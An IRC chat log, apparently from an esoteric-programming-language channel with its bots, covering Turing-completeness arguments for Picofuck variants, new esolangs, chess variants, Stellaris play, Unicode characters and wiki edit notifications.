17:09:26 <b_jonas> ais523: you can get it in multiples, even on the same site. and it's three different level of badges.
17:09:31 <b_jonas> and sure, the badges don't do anything.
17:10:12 <b_jonas> you could even get one for someone else if you put their userid in a link. it's not like SE puts a HMAC or something in the url to check validity.
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17:19:50 <moony> I wonder how factorio combinators would be represented as a programming language
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17:27:51 <rdococ> the Esoteric Game Jam: create a Turing Complete game in 1 week
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17:29:13 <rdococ> yay for lambda calculus
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17:29:35 <rdococ> you know, I once tried to turn brainfuck into lambda calculus
17:29:54 <rdococ> tbh I think it would be better off in a stack-based language
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17:33:56 <\oren\> I bought Adidas shoes. They seem good.
17:41:24 <rdococ> or, better yet, a binary tree
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17:50:25 <FireFly> green? red-black seems to be the more popular colour scheme
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17:58:19 <shachaf> But do they have a blatant logo on them?
17:58:19 <shachaf> That's one of the worst things about shoes.
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18:44:19 <HackEgo> U+0010 <control> \ UTF-8: 10 UTF-16BE: 0010 Decimal:  \ \ Category: Cc (Other, Control) \ Bidi: BN (Boundary Neutral)
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19:09:53 <Taneb> I am agonising help
19:12:16 <Taneb> I've finally actually applied for the PhD I've been working on my application since December
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19:13:23 <int-e> Taneb: I found a bug in the paper I'm writing. I have little sympathy for anyone else right now. So suck it up :-P
19:16:17 <Taneb> int-e, what's the paper on?
19:17:35 <int-e> the part that broke is a decision procedure for UN (with respect to reductions) for ground TRSs.
19:18:54 <Taneb> Can you explain? I don't know either of those acronyms, unless you're talking about the United Nations
19:20:51 <int-e> UN = unique normal forms, TRS = term rewrite systems. I'm not sure it helps... and right now my time is better spent on the paper instead of explaining basics.
19:22:19 <int-e> http://cl-informatik.uibk.ac.at/users/bf3/publications/2016-BF-IWC.pdf is a buggy version of the paper.
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20:18:06 <HackEgo> [wiki] [[Talk:Picofuck]] https://esolangs.org/w/index.php?diff=51683&oldid=51679 * Orby * (+1256)
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20:25:59 <hppavilion[1]> Unicode has † and ‡, but not... wait, can't type it
20:26:10 <hppavilion[1]> It doesn't have an inverted dagger (AFAICT) to go with dagger and double-dagger
20:26:41 <quintopia> orthogonality is deeply satisfying in its symmetry
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20:57:41 <int-e> ^8ball do I have to get up early tomorrow?
20:57:54 <int-e> ^8ball can I get a second opinion on that?
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21:15:19 <rdococ> ^8ball abadaba cabadaba yabadaba nabadaba
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21:24:39 <shapr> quintopia: you coming to knitting tonight?
21:32:15 <HackEgo> [wiki] [[Talk:Morsefuck]] N https://esolangs.org/w/index.php?oldid=51684 * BlueOkiris * (+1229) /* Binary Version */ new section
21:34:24 <\oren\> @tell hppavilion[1] ⸶⸷⸸ are in unicode what are you talking about
21:36:45 <shapr> > let fibs = 1:1: zipWith (+) fibs (tail fibs) in take 15 fibs
21:36:47 <lambdabot> [1,1,2,3,5,8,13,21,34,55,89,144,233,377,610]
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21:39:35 <quintopia> i don't know anything about knitting
21:39:50 <shapr> that's why you should come to the knitting circle!
21:40:01 <quintopia> but what if i have no interest in it?
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23:03:25 <\oren\> I want AI-chan to play kerbal space program
23:03:37 <\oren\> everyone post on AI-chan's videos, アイちゃんお願い、Kerbal Space Program遊んでください！
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00:56:25 <HackEgo> [wiki] [[Talk:Morsefuck]] https://esolangs.org/w/index.php?diff=51685&oldid=51684 * Oerjan * (+424) unsigned + comment
00:57:21 <HackEgo> [U+FFFD REPLACEMENT CHARACTER]
00:58:01 <oerjan> i don't think the wiki supports raw byte data like that.
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01:16:29 <HackEgo> [wiki] [[Talk:Picofuck]] https://esolangs.org/w/index.php?diff=51686&oldid=51683 * Oerjan * (+590) /* Observation */ Problems
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05:00:46 <\oren\> sone of a bitch why won't this copypate right
05:01:08 <\oren\> AHA! ⸶⸷⸸ are the characters you were looking for
05:01:28 <HackEgo> U+2E36 DAGGER WITH LEFT GUARD \ UTF-8: e2 b8 b6 UTF-16BE: 2e36 Decimal: ⸶ \ ⸶ \ Category: Po (Punctuation, Other) \ Bidi: ON (Other Neutrals) \ \ U+2E37 DAGGER WITH RIGHT GUARD \ UTF-8: e2 b8 b7 UTF-16BE: 2e37 Decimal: ⸷ \ ⸷ \ Category: Po (Punctuation, Other) \ Bidi: ON (Other Neutrals) \ \ U+2E38 TURNED DAGGER \ UTF-8: e2
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07:31:35 <Jafet> a silly chess variant: k-move rule, for k much smaller than 50
07:33:26 <Jafet> I wonder if k=1 is actually playable
07:36:10 <zzo38> Do you like this? http://zzo38computer.org/textfile/miscellaneous/gurps/traits
07:36:45 <zzo38> Jafet: With a small number, perhaps making the player who fails to lose instead of drawn, might do? I am not sure
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08:46:28 <rdococ> I'm working on a constructed language and need inspiration. help.
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10:04:15 <goobers> capital punishment is fucking great
10:15:14 <rdococ> You know what else works great?
10:15:23 <rdococ> Empathy cortex nullifiers.
10:22:07 <rdococ> Empathy is for the complement of the set {goobers} :P
10:23:27 <fizzie> I know we're very flexible when it comes to being off-topic, but this particular one is pushing it.
10:23:30 <goobers> yeah yeah ? look at me i know set theory and that makes me smart
10:23:49 <rdococ> fizzie: this channel has a topic? o_o
10:24:03 <rdococ> goobers: that's not the impression I was trying to give off, but okay
10:24:23 <rdococ> after all, I'm not the one whose name rhymes with boogers. :P
10:25:01 <goobers> https://www.youtube.com/watch?v=9Ei89MsnCd0
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12:02:25 <Vorpal> I just had to clear about 10 cm of snow from my car. In April. Wtf
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12:10:36 <Vorpal> rdococ: no, just highly unusual weather. Annoying since I switched to summer tyres instead of studded tyres almost 2 weeks ago.
12:10:53 <rdococ> Vorpal: caused by magic
12:10:55 <Vorpal> Thankfully I only need to drive a relatively short distance today
12:12:41 <FireFly> also, it's called aprilväder for a reason :p
12:12:56 <FireFly> Somehow there's no snow here, yet I keep hearing there's snow further south
12:13:22 <FireFly> and I'm even in a coldish area as far as greater Stockholm goes
12:13:28 <Vorpal> FireFly: I called my parents who live about 20 km away, they only had a tiny bit of snow. But here it is 5-10 cm
12:14:19 <Vorpal> Also Stockholm probably has milder weather than further inland
12:18:43 <lambdabot> LOWI 141050Z VRB06KT 9999 FEW050 15/07 Q1014 NOSIG
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12:48:57 <HackEgo> [wiki] [[Malbolge programming]] https://esolangs.org/w/index.php?diff=51687&oldid=49954 * Pgimeno * (+4240) Reinstate a section that explains an improved technique
12:51:43 <HackEgo> [wiki] [[Malbolge programming]] M https://esolangs.org/w/index.php?diff=51688&oldid=51687 * Pgimeno * (-2124) Remove duplicate section introduced by mistake in the previous edit
12:57:02 <rdococ> I'm working on a little esolang of my own.
13:04:46 <HackEgo> [wiki] [[Malbolge20]] N https://esolangs.org/w/index.php?oldid=51689 * Pgimeno * (+263) Add Malbolge20
13:05:45 <APic> Interesting one
13:05:56 <HackEgo> [wiki] [[Malbolge]] https://esolangs.org/w/index.php?diff=51690&oldid=51384 * Pgimeno * (+55) /* See also */ Add Malbolge20
13:07:13 <HackEgo> [wiki] [[Malbolge20]] M https://esolangs.org/w/index.php?diff=51691&oldid=51689 * Pgimeno * (+52) Add See Also, change header level
13:07:51 <rdococ> is there a way to give code a color scheme?
13:10:09 <HackEgo> [wiki] [[Malbolge Unshackled]] M https://esolangs.org/w/index.php?diff=51692&oldid=51662 * Pgimeno * (+16) Add Malbolge20 to See Also
13:11:25 * rdococ wonders if there is a WIP template
13:16:52 <HackEgo> [wiki] [[Malbolge20]] M https://esolangs.org/w/index.php?diff=51693&oldid=51691 * Pgimeno * (+50) Mention the extended size
13:17:59 <rdococ> I do know my language will have [cosign] as a synonym for [abs] :P
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14:10:24 <HackEgo> [wiki] [[Malbolge programming]] https://esolangs.org/w/index.php?diff=51694&oldid=51688 * Pgimeno * (+0) Change the order of the last two sections, as one somewhat depends on the other
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14:44:41 <HackEgo> wfraatw//A WFRAATW is a well-founded recursive acronym akin to "WFRAATW".
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14:51:22 <rdococ> imagine a language just like brainfuck in every way, but all input has to be appended with a "B" at the beginning, or the interpreter will crash.
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15:02:02 <HackEgo> [wiki] [[Upsilon]] N https://esolangs.org/w/index.php?oldid=51695 * Rdococ * (+3582) Upvalues!
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15:02:37 <HackEgo> [wiki] [[Upsilon]] https://esolangs.org/w/index.php?diff=51696&oldid=51695 * Rdococ * (-13) /* Fundamental Types */
15:03:19 <rdococ> Interested in my upvalue-based language?
15:04:33 <rdococ> I really hope I used that term correctly.
15:09:30 <HackEgo> [wiki] [[Upsilon]] https://esolangs.org/w/index.php?diff=51697&oldid=51696 * Rdococ * (-82) changed upvalues to upvars
15:10:40 <HackEgo> [wiki] [[Upsilon]] https://esolangs.org/w/index.php?diff=51698&oldid=51697 * Rdococ * (+6) /* Fundamental Types */ forgot closing pre tag
15:10:58 <HackEgo> [wiki] [[Upsilon]] M https://esolangs.org/w/index.php?diff=51699&oldid=51698 * Rdococ * (-1) /* Fundamental Types */
15:21:27 <HackEgo> [wiki] [[User:Rdococ]] M https://esolangs.org/w/index.php?diff=51700&oldid=51374 * Rdococ * (+94) /* My hopefully better esoteric languages (2017 CE - infinity CE) */
16:34:36 <HackEgo> gazspaczo//gazspaczo iz a hungarian szoup, tradizsonally szerved cold for hot szummer dayz
16:34:54 <HackEgo> Phở is a Vietnamese soup invented by lyyyyyyynn to stress-test implementations of Unicode combining characters.
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17:52:13 <\oren\> So I came to work this morning and guess what
17:56:53 <Taneb> Have a good Good Friday
18:11:20 <quintopia> boily was in here an awful lot this morning. i guess he had a holiday too.
18:11:50 <int-e> it's a mourning morning
18:12:15 <quintopia> chrono.gg is selling an ASCII rogue-like dungeon crawler today. it looks pretty fun.
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18:13:09 <int-e> ('In German-speaking countries, Good Friday is generally referred to as Karfreitag (Kar from Old High German kara‚ "bewail", "grieve"‚ "mourn", Freitag for "Friday"): Mourning Friday.')
18:13:24 <int-e> Of course it's also evening already.
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18:16:51 <quintopia> is anyone else going to get this game
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18:18:38 <int-e> someone might, I won't
18:22:17 <HackEgo> [wiki] [[Talk:Picofuck]] https://esolangs.org/w/index.php?diff=51701&oldid=51686 * Orby * (+2488) A different approach?
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19:44:17 <HackEgo> [wiki] [[Talk:Picofuck]] https://esolangs.org/w/index.php?diff=51702&oldid=51701 * Orby * (+403) /* A different way of thinking about the problem */ More examples
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21:53:47 <HackEgo> [wiki] [[Talk:Picofuck]] https://esolangs.org/w/index.php?diff=51703&oldid=51702 * Orby * (+924) Looping & Fredkin gate
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22:33:35 <zzo38> Do you like this? http://zzo38computer.org/textfile/miscellaneous/wasm.h
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22:45:50 <HackEgo> pokemon//A pokemon is a monster that you keep in your pocket. Taneb invented them.
22:46:08 <boily> . o O ( the monsters or the pockets? )
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22:47:39 <boily> mynamello. a prolific inventor!
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00:04:10 <HackEgo> mirth//Mirths are juvenile moths. They giggle a lot.
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00:35:00 <quintopia> did you see todays chrono.gg deal?
00:35:21 <quintopia> an ascii rogue-like dungeon crawler ;)
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00:52:37 <boily> is it still dealing?
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01:13:23 <HackEgo> madness//madness lies thataway.
01:13:37 <HackEgo> This wisdom entry was censored for being too accurate.
01:15:45 <HackEgo> Alice doesn't want to go among mad people.
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01:17:23 <fizzie> Went to "An exhibition of the Web’s lost past" today. Well, yesterday.
01:18:29 <fizzie> They had early webby things, like a NeXT box showing Old Tim's website.
01:19:13 <oerjan> . o O ( but if they have it, it's not lost... )
01:20:19 <fizzie> They also had a classroom full of BBC Micros, courtesy of the Centre for Computing History in Cambridge.
01:20:28 <fizzie> Doesn't really have anything to do with the web though.
01:26:07 <HackEgo> The BBC is the BreadBox Corporation. Its inventions include, without limitation, Muppets, tiny elfs, and villages in Norway. Taneb invented it.
01:26:43 <fungot> Selected style: alice (Books by Lewis Carroll)
01:26:52 <int-e> fungot: bread or taxes?
01:26:53 <fungot> int-e: we have now to mark the two fnord don't balance each fnord more than you can fnord a man, whose business fnord so, my child!' the queen said. ' how many days are there in a year? i should think it did go! why, if ever i did fall fnord which there's no chance of a night's rest here, i'm sure you'll forgive me: for i really couldn't bring myself to say ' good-bye,' and the whole party swam to the shore and then i'll tell y
01:27:29 <int-e> fungot: I think you have the wrong book
01:27:29 <fungot> int-e: ' in the water and wouldn't come out again. and it got both its paws on its tail. " it's all right, bruno, wouldn't you? he hasn't fnord tea, and fnord
01:27:42 <int-e> fungot: getting closer?
01:27:42 <fungot> int-e: " music?" said sylvie.
01:27:55 <int-e> fungot: but still no bread :-(
01:27:55 <fungot> int-e: " its habit of getting up and picking the daisies, when suddenly a footman in livery came running out of the wood. they were not of the folk we meet in fnord drawing-rooms who conceal all such feelings as they may chance to possess beneath the fnord mask of a conventional fnord. ' unless you leave this house,' he said, ' so that one could keep up a conversation! but how can you talk with your eyes shut?" said alice.
01:32:33 <fizzie> fungot: I wore the fungot shirt to that exhibition, but sadly nobody asked about it.
01:32:33 <fungot> fizzie: " fnord lindon," said i, " to your ear that sounds an easy thing? try it yourself, my little dear!' alice got up to do it!'
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01:42:39 <boily> YouTube seems to be dead set about prefixing the tab's name with a mysterious “(11)”...
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01:49:09 <fungot> boily: " yet is it wise to leave it fnord which you will say " fnord seen gardens, compared with which that would be awkward, i admit, is very very kindly meant-- still, to fnord them together under his chin the end of it, she saw that it had eyes and a nose and mouth; and when she had finished it, ' they might go different ways.'
01:58:01 <Jafet> `slwd bbc//s/and \(.*y\)/\1, and inventors of all things/
01:58:04 <HackEgo> bbc//The BBC is the BreadBox Corporation. Its inventions include, without limitation, Muppets, tiny elfs, villages in Norway, and inventors of all things. Taneb invented it.
02:01:31 <boily> Six degrees to Taneb.
02:02:34 <fungot> rdococ: " if tibbs is anything like me, it's possible," i argued, you must take the consequences!
02:02:43 <fungot> rdococ: " let me go by without even one fnord bark. " he isn't, indeed! so true!" the warden gently assented. " sylvie just knows nuffin at all!"
02:04:22 <boily> rdochelloc. do not miff the fungot.
02:04:22 <fungot> boily: the baron gazed in astonishment. " why is it of no consequence to us, i is so tired and hungry!"
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02:06:28 <HackEgo> [U+1160 HANGUL JUNGSEONG FILLER]
02:09:17 <moonythedwarf> i just wanted to unideocde that character, its invisible in most/all fonts
02:12:44 <HackEgo> [wiki] [[Talk:Picofuck]] https://esolangs.org/w/index.php?diff=51704&oldid=51703 * Oerjan * (+518) /* A different way of thinking about the problem */ First example
02:17:33 <HackEgo> [wiki] [[Talk:Picofuck]] https://esolangs.org/w/index.php?diff=51705&oldid=51704 * Oerjan * (+143) /* Another example */ I don't think so.
02:18:21 <HackEgo> [wiki] [[Talk:Picofuck]] https://esolangs.org/w/index.php?diff=51706&oldid=51705 * Oerjan * (+11) /* Another example */
02:22:27 <rdococ> hoily: then do not drive me to the boredom horizon
02:22:34 <orby> oerjan: Howdy!
02:22:34 <fungot> rdococ: " course i were!" cried the sub-warden. the professor fnord it longer for us. and it walked a tiny little way!"
02:22:48 <fungot> rdococ: the result would have been worse!"
02:22:49 <HackEgo> fungot is our beloved channel mascot and voice of reason.
02:24:55 <\oren\> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa
02:24:57 <\oren\> My best scientist in my empire decided to start popping pills whyyyyyyy
02:26:12 <rdococ> <Dua octa numon de Poto de Coægumeɲ an murus. Una numo de Poto de Coægumeɲ mi æcipa & potos. Octa qataʈropat numon de Poto de Coægumeɲ an murus.>
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02:26:21 <orby> I'm thinking about "yet another example" and whether or not putting a loop outside the program is sufficient for turing completeness
02:26:40 <rdococ> have you seen Upsilon yet?
02:26:54 <orby> I have not, I'll take a look
02:26:56 <oerjan> orby: i think your third example is somewhat off in its explanation
02:27:23 <rdococ> Actually, I was warning you not to look, but okay.
02:27:28 <oerjan> in particular, you translate something to > that clearly starts a loop content.
02:28:25 <orby> The third example doesn't have (or shouldn't have) any open parens translated in the [ and ] commands
02:28:27 <boily> he\\oren\, hellorby.
02:28:29 <oerjan> \oren\: clearly you overworked him hth
02:29:01 <orby> just been brainstorming and trying to come at it from different angles
02:29:19 <oerjan> \oren\: popping pills isn't all bad. see: erdős
02:29:22 <rdococ> just redirect the IP velocity
02:30:32 <orby> in the third example the [ and ] don't actually need to match, I'm not using those symbols for any specific reason
02:31:05 <oerjan> orby: oh that applies to the second one too
02:31:38 <oerjan> orby: ok in that case scratch my comment on it
02:32:20 <orby> correct, yeah I wasn't thinking about looping (which is definitely missing) from the 2nd and 3rd examples
02:32:43 <HackEgo> [wiki] [[Talk:Picofuck]] https://esolangs.org/w/index.php?diff=51707&oldid=51706 * Oerjan * (+163) /* Another example */ Never mind
02:32:53 <orby> I was thinking about what happens when you put the whole program in a loop and try to achieve turing completeness in that context
02:33:18 <orby> It's a lot of braindumping, sorry if it's difficult to follow
02:34:34 <orby> I was thinking today about the language >, *, < and a command F which swaps the current cell + 1 with current cell + 2 if the current cell is on
02:34:48 <oerjan> orby: btw i have an argument that RBF _can_ express any reversible logic gate, shall i explain it?
02:34:50 <orby> cswap, or fredkin gate, or whatever you want to call it
02:35:20 <oerjan> (on a finite set of cells)
02:35:34 <orby> oerjan: I think that's true because we can express toffoli gates in RBF, what is your argument?
02:36:16 <oerjan> you can swap any bit based on any condition of other bits
02:36:33 <oerjan> which i guess is about the same as toffoli
02:36:46 <orby> yeah, my understanding is that a conditional swap aka fredkin gate is also universal
02:37:16 <orby> nah, you didn't misspeak
02:37:16 <oerjan> i meant _toggle_ any bit.
02:38:08 <orby> yeah, I think the fact that conditional toggling + shifting is enough to construct universal gates is the key
02:38:20 <oerjan> for example, to toggle a cell if n cells to the left are 1, do (>(>(>...(>*<)...<)<)<)
02:38:26 <orby> at least that's how I think about it
02:38:50 <oerjan> then for any other case, insert *s as needed
02:39:28 <orby> So, I'm interested in your thoughts on this language and whether or not you think it'd be turing complete
02:39:39 <orby> Say we have >, *, < and conditional swap
02:39:43 <orby> which I'm calling F
02:39:44 <oerjan> and this swaps two states of the whole configuration that only differ in one bit. and that generates the whole permutation group of configurations.
02:40:30 <orby> yeah, I've found it useful to start thinking about automorphisms from the tape to itself
02:40:41 <orby> instead of thinking about shifting
02:41:27 <orby> So if we take >*<F and loop the entire program so long as the current cell is 1, maybe turing complete? is there any language in the wiki similar to that?
02:41:48 <orby> because I think there is a 2 command simple translation of >*<F
02:42:22 <oerjan> orby: no, because you don't have conditional >< so you either run off in one direction or stay within finitely many cells
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02:42:49 <orby> that makes sense
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02:43:55 <orby> so like, if the tape were unbounded on both sides, there'd be no way to visit cell 0, 1, -1, 2, -2, 3, -3, 4, -4, ...
02:44:02 <oerjan> orby: i think there have been languages based on "brainfuck without any loop except around the whole program" at least discussed here
02:44:45 <orby> yeah I'm sure I read about that idea somewhere
02:45:12 <oerjan> hm but the running off argument must apply to them too.
02:45:38 <orby> I would think so, unless there is some provision for conditional execution
02:46:01 <orby> Like, S which skips the next command if the current cell is non-zero, or something like that
02:46:25 <oerjan> maybe if you had unbounded cells on a wrapping tape, it could work.
02:46:47 <oerjan> but i don't remember any of this clearly.
02:46:59 <oerjan> (i think ais523 might know)
02:47:01 <orby> yeah, that'd probably work
02:47:47 <\oren\> AAAAAAA now my new head scientist went into politics and became the president! AAAAAAAAAAA
02:48:03 <oerjan> \oren\: FOR SCIENCE *MWAHAHAHAHA*
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03:06:23 <lambdabot> ENVA 150150Z 11006KT CAVOK M02/M04 Q1007 RMK WIND 670FT 14011KT
03:06:31 <lambdabot> CYQB 150100Z 24008KT 15SM FEW055 06/M04 A3027 RMK SC1 SLP255
03:07:17 <oerjan> our spring is delayed a bit hth
03:07:37 <oerjan> but then, having the last snow around easter is traditional.
03:09:23 <lambdabot> KJFK 150151Z 20008KT 10SM FEW250 10/06 A3041 RMK AO2 SLP295 T01000061
03:09:33 <boily> helloochaf. eastcoasting?
03:11:25 <lambdabot> EGLL 150150Z AUTO 27010KT 9999 SCT015 10/09 Q1016 NOSIG
03:11:58 <alercah> oerjan: where I grew up it wasn't really spring until the may snowstorm
03:14:03 <shachaf> flying out of KJFK on sunday
03:15:41 <\oren\> At least now several of my planets are populated entirely by soulless machines
03:15:47 <HackEgo> [wiki] [[Golf Cheat]] N https://esolangs.org/w/index.php?oldid=51708 * Qpliu * (+535) Created page with "In [[Golf Cheat]], a zero bit program solves the current problem in the golf competition you are currently competing in. A one bit program solves either the previous or next..."
03:15:59 <HackEgo> [wiki] [[Joke language list]] https://esolangs.org/w/index.php?diff=51709&oldid=51652 * Qpliu * (+17)
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03:21:57 <HackEgo> [wiki] [[But Is It Art?]] https://esolangs.org/w/index.php?diff=51710&oldid=51682 * Qpliu * (+164) Implementation
03:36:40 <oerjan> <rdococ> would it be TC? <-- yes. any required input/output transformation does not affect TC-ness, as long as it halts.
03:44:39 <rdococ> So, if you had to transform input to output...
03:44:58 <oerjan> well input to input and output to output the other way, naturally
03:45:30 <rdococ> btw have you heard of upvars before?
03:46:04 <oerjan> i think i may have seen the term mentioned once.
03:47:46 <rdococ> well, you're about to see it a couple more times in my latest esolang
03:48:05 <rdococ> don't look at it. it's so lame it's deadly.
04:09:18 <oerjan> i may already have, briefly.
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05:12:32 <orby> oerjan: you still around?
05:14:32 <rdococ> nooooooo! oerjan, what did you do!!!
05:15:37 <oerjan> i said briefly. i only got a glimpse of the introduction, or something.
05:16:04 <rdococ> if you want to, read it
05:16:20 <rdococ> but it's not my fault if you're scarred for life
05:16:22 <orby> oerjan: excellent. I *may* have some questions for you.
05:16:43 <orby> I'm still thinking about <>*f
05:16:43 * oerjan copied that from rdococ
05:16:57 <Sgeo__> https://github.com/ChrisRx/dungeonfs
05:17:16 <rdococ> oerjan, you know you could excuse yourself out of listening to orby's questions by reading it :P
05:17:30 <orby> it's not quite clear to me how the running off in one direction argument applies, as I think we can probably drag an arbitrary number of arguments along with us
05:17:54 <oerjan> orby: yes, but only finitely many.
05:18:15 <rdococ> ik, I'm terrible at this whole esolanging thing. I shouldn't even be here. :c
05:18:16 <orby> why only finitely man
05:18:59 <oerjan> orby: because you cannot go further back to pick up things than you have <. in fact, since you only have the one test, you cannot really pick up anything, either.
05:19:12 <oerjan> ok f may shift that _slighty_.
05:19:38 <orby> so, it is clear that there can only be finitely many f's per iteration
05:19:54 <orby> thus only finitely many swaps
05:19:54 <oerjan> and also finitely many < and >.
05:20:37 <orby> I think you are correct that it's not tc, I'm just trying to see it clearly
05:22:03 <oerjan> basically, there is a finite sized window and everything outside that window that you've visited before you can never look at again.
05:23:10 <orby> yeah, I think it is clear to me now. I was trying to figure out whether or not there could be some trickery with the f's to copy along whatever you wanted from the past, but the fact that there can only be finitely many swaps per iteration makes that impossible
05:27:08 <orby> I also had an interesting idea on how the tape is represented. A tape with a finite number of 1's, say n, could be used to represent n unbounded registers where the value in the register is the index of the 1 on the tape.
05:27:43 <orby> well, almost, except mulltiple registers couldn't have the same value
05:28:17 <orby> but it springs from the idea to treat the tape as a subset of the natural numbers where each 1 implies that the index of that cell is in the subset
05:28:58 <orby> each cell would need to have at least 2^n distinct states to represent n unbounded registers
05:29:04 <oerjan> orby: a better idea may be to let the registers be represented by the _distance_ between 1s.
05:30:51 <orby> that's one of the things I like about using a bit tape; there are so many easy isomorphisms to other representations
05:33:19 <oerjan> this is something i thought about when doing the minsky machine construction in underload. i only did that for 2 registers, but the distance method could be used to get more.
05:34:56 <orby> so what, have the tape be bound on the left, distance to first 1 is value of r1, distance between first 1 and second 1 is value of r2, etc?
05:35:03 <oerjan> although, hm, that one has the advantage that you can shrink and expand the tape locally.
05:36:06 <orby> well, the position of the first 1 would encode the value of the first register in the same way for both schemes
05:36:16 <oerjan> orby: you really need a 1 at the left end too, in order to detect it.
05:36:32 <orby> mmhmm, makes sense
05:38:17 <orby> I like the idea of thinking of the bit tape as a subset of the natural numbers. Programs receive a set as input and return a set as output.
05:39:14 <orby> So then programs are just computable automorphisms on the power set
05:40:23 <oerjan> not quite all of them, you can only change finitely many bits.
05:41:16 <oerjan> and in fact, if they don't always halt it's not an automorphism either.
05:42:04 <oerjan> but otherwise, this sounds like denotational semantics.
05:43:10 <orby> oooh, wiki-ing denotational semantics. this is new to me.
05:49:18 <Jafet> so, chess might be nontrivial even if the 50-move rule is reduced to a 0.5-move rule (i.e. every move must be a capture or pawn move)
05:51:18 <Jafet> at least, crafty has analysed to about 10 moves without finding a trivial win
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05:51:43 <zzo38> Is that with or without my suggested variation?
05:52:04 <Jafet> yes, this is where players who fail to do that will lose
05:56:11 <zzo38> Another further variant can be: Other than captures and pawn moves, it is also allowed to make a move that prevents you from castling later if castling under FIDE rules would normally be allowed later under the current position.
05:57:06 <oerjan> that could be nice to escape one check
05:59:32 <zzo38> (In other words, once you have moved the king, you can no longer make non-capturing moves with either rook; once you have moved a rook, you can no longer make noncapturing moves with that rook; and once you have moved both rooks, you may no longer make noncapturing moves with the king.)
06:01:07 <oerjan> also not the king in the first case
06:02:50 <zzo38> Yes, that too, I forgot
06:02:55 <zzo38> You are correct though
06:03:56 <zzo38> Also, if both of your rooks are captured, you also can no longer make noncapturing moves with the king.
06:04:26 <oerjan> or one captured and one moved.
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06:16:33 <Jafet> well, in general there are non-reversible moves even with pieces, such as https://mathoverflow.net/a/78955
06:17:03 <Jafet> also crafty just segfaulted, so its results might be suspect
06:18:03 <rdococ> Well, I know any language I will create will just be ignored.
06:18:33 <zzo38> Are you sure? If it is good enough then it might not be.
06:18:53 <rdococ> No, I'd never be able to create a "good" language.
06:19:00 <rdococ> I'm the kind of person who gets bored quickly.
06:19:21 <zzo38> O, OK. But when you do have a good idea (if you ever have a good idea, that is) then you can post it.
06:19:53 <rdococ> I never have a good idea.
06:20:14 <rdococ> All my ideas are crap, like a "language without assignments, but with subroutines", "or subroutines with upvars"...
06:20:29 <zzo38> In future it might change, or maybe it won't. Only by time can we see.
06:26:55 <rdococ> Maybe it'd be better if I wasn't here.
06:27:15 <zzo38> There may be something else to do though
06:27:34 <rdococ> LIke crawl into a hole.
06:28:04 <zzo38> And then see if there is anything else in there
06:29:00 <zzo38> Yes, probably that is in there, at least.
06:29:34 <rdococ> and I can breathe in the oxygen, breathe out, and then scream.
06:42:58 <rdococ> "Do you see now?" "I can C."
07:01:51 <zzo38> One Poker is played as follows: Each player gets two cards, and your opponent knows how many of your two cards are higher than seven (ace is high). You then choose one of your two cards to play (secretly), and then you bet, and then you expose the cards. Higher card wins, unless they are an ace and a deuce in which case the deuce wins. And then you keep the card you didn't play and get a fresh card, and continue.
07:02:23 <zzo38> (Suits are irrelevant. Two cards of the same rank tie.)
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07:09:39 <rdococ> `le//rn caine//Caine is a drug admistered to the target to reverse the effects of other drugs.
07:09:41 <HackEgo> Learned 'caine': Caine is a drug admistered to the target to reverse the effects of other drugs.
07:21:10 <rdococ> `le//rn caine//Caine is a drug administered to the target to reverse the effects of other drugs.
07:21:12 <HackEgo> Relearned 'caine': Caine is a drug administered to the target to reverse the effects of other drugs.
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07:41:28 <HackEgo> [wiki] [[Template:WIP]] https://esolangs.org/w/index.php?diff=51711&oldid=45765 * Rdococ * (+4) Clearer summary of the page's WIP status
07:54:43 <\oren\> https://www.youtube.com/watch?v=MC4IAH2TvWY
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10:55:44 <\oren\> HAH! the enemy has one of my planets under siege and is trying to starve them out
10:55:47 <\oren\> JOKES ON YOU EVERYONE ON THE PLANET IS A SOULLESS ANDROID
11:00:01 <\oren\> they are spending most of their fleet trying to siege a planet with no actual sentient life forms on it
11:03:18 <\oren\> which doesn't work, because the population can't feel pain and don't care if they get blown up
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11:25:09 <\oren\> i am *this* close to becoming a robot-majority nation
11:25:43 * rdococ wants to talk about conlangs but nobody's in that channel :c
11:26:19 <\oren\> also the war ended status quo ante bellum
11:27:52 <rdococ> I mean, there's people there but it's silent
11:29:39 <\oren\> ooh, I can make everone who isn't an android a cyborg
11:30:32 <rdococ> <android somewhere> I want to be a real boy!
11:32:12 <\oren\> rdococ: eventually you can make your robots capable of rational thought if you research enough.
11:32:38 <\oren\> but it makes all the religious empires hate your guts
11:36:31 <\oren\> well, they already hate me because they think we're "Materialist Fools -20"
11:53:59 <Taneb> \oren\, I recently started a game of Stellaris where I'm trying to play as Space Elves
11:54:16 <Taneb> Took Fanatic Pacifist and Spiritualist as my ethics
11:55:53 <Vorpal> \oren\: haven't played much Stellaris really. None of the DLCs. Have they improved the mid game much? I found the early game to be excellent, especially the first time around (when everything is new and and you don't know the outcome of event decisions), and the late game to be pretty good. But the mid game was just lack luster.
11:57:35 <Vorpal> Also the sound track is top notch
11:59:04 <Vorpal> CK2 is still my favorite Paradox grand strategy game. All the backstabbing you can do is really fun,
12:00:44 * rdococ is thinking about rupoors
12:02:13 <Taneb> Vorpal, CK2 is my favourite singleplayer but least favourite multiplayer
12:02:41 <rdococ> Vorpal: They're rupees from TLOZ that are worth a negative amount, and make you lose rupees when you collect them :P
12:03:07 <Vorpal> Taneb: ah, I don't really play any sort of multiplayer in any games. The sole exception so far has been minecraft, and that was cooperative. Also years ago by now
12:03:26 <Taneb> Vorpal, The Legend of Zelda
12:03:27 <rdococ> Vorpal: The Legend of Zelda
12:04:04 <rdococ> rupoors made me think about negative value currency
12:04:25 <Vorpal> it doesn't really make much sense
12:04:47 <Vorpal> Unless they are made of antimatter or something
12:04:57 <Taneb> rdococ, I don't think it's practical with physical currency
12:05:02 <rdococ> comedic value > realism
12:05:24 <rdococ> Taneb: well, if you switch to digital currency, you can have complex money :P
12:05:48 <rdococ> "That will be $2+3i, please."
12:06:02 <rdococ> "But I only have $4+1i..."
12:06:24 <rdococ> "That's fine. I can adjust its angle for you - how about that?"
12:08:47 <Vorpal> rdococ: what would that even mean?
12:09:13 <rdococ> Vorpal: that you have some real money, and some imaginary money. der :P
12:09:21 <Vorpal> I'm not sure a multi-dimensional currency makes any sense.
12:09:40 <Vorpal> Only the magnitude matters
12:09:58 <rdococ> not necessarily. what I said above doesn't have to apply
12:10:05 <int-e> . o O ( x86 is a vulnerability platform that allows arbitrary code execution. )
12:10:25 <rdococ> . o O ( Pokemon R/Y/B is a programming language. )
12:10:25 <Vorpal> int-e: isn't every platform?
